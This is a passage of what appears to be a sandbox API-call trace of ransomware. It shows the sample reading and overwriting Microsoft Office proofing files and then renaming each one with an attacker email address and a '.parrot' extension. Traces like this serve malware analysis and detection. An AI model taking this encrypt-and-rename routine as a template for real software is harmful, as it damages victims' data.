lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.860] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x74200, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x74200, lpOverlapped=0x0) returned 1 [0202.880] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7en.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7EN.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7en.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.926] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.926] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.928] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.928] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x23800, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x23800, lpOverlapped=0x0) returned 1 [0202.934] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7ES.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7es.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.948] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.948] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.949] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.949] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x43e00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x43e00, lpOverlapped=0x0) returned 1 [0202.960] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.976] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7FR.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mshy7fr.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.030] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.030] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.032] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.032] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1302, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1302, lpOverlapped=0x0) returned 1 [0203.033] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.dub" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.dub.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.dub.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.041] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.041] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.042] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.042] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0203.073] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.073] WriteFile (in: hFile=0x27c, lpBuffer=0x319e470*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x319e470*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0203.077] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.077] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0203.079] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x145f18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0203.079] CloseHandle (hObject=0x27c) returned 1 [0203.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7en.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.090] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0203.090] CloseHandle (hObject=0x27c) returned 1 [0203.090] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b5be00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6e60c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x47b5be00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x1e0600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7ES.LEX", cAlternateFileName="")) returned 1 [0203.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0203.090] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.091] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.092] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.092] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0203.100] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0203.123] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.123] WriteFile (in: hFile=0x27c, lpBuffer=0x319e470*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x319e470*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0203.127] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.127] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0203.130] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e0718, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0203.130] CloseHandle (hObject=0x27c) returned 1 [0203.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0203.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2292680 [0203.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7es.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.141] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0203.141] CloseHandle (hObject=0x27c) returned 1 [0203.141] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42f10a00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa45e9600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x42f10a00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x1b1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7FR.LEX", cAlternateFileName="")) returned 1 [0203.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0203.142] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.142] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.143] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.143] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0203.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0203.174] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.174] WriteFile (in: hFile=0x27c, lpBuffer=0x319e470*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x319e470*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0203.178] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.178] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0203.181] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b1918, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0203.181] CloseHandle (hObject=0x27c) returned 1 [0203.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0203.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2292680 [0203.181] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\mssp7fr.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.236] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.238] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.238] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0203.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0203.270] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.270] WriteFile (in: hFile=0x27c, lpBuffer=0x319e470*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x319e470*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0203.274] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.274] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0203.277] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40df18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0203.277] CloseHandle (hObject=0x27c) returned 1 [0203.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0203.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2292680 [0203.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7en.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.287] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.288] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.289] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.289] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0203.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0203.321] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.321] WriteFile (in: hFile=0x27c, lpBuffer=0x319e470*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x319e470*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0203.325] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.325] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0203.328] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b3518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0203.328] CloseHandle (hObject=0x27c) returned 1 [0203.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0203.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2292680 [0203.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7es.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.339] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.340] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.341] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.341] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0203.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0203.419] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.419] WriteFile (in: hFile=0x27c, lpBuffer=0x319e470*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x319e470*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0203.423] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.423] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0203.426] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc6ab18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0203.426] CloseHandle (hObject=0x27c) returned 1 [0203.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0203.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2292680 [0203.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7fr.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.437] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0203.437] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5479ea0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x5479ea0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.438] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0203.438] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0203.438] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0203.438] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69511700, ftCreationTime.dwHighDateTime=0x1c4a9a0, ftLastAccessTime.dwLowDateTime=0x97e6cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4dee220, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x39d053, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.LEX.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MSGR3E~1.PAR")) returned 1 [0203.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0203.439] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0203.441] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0203.441] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, 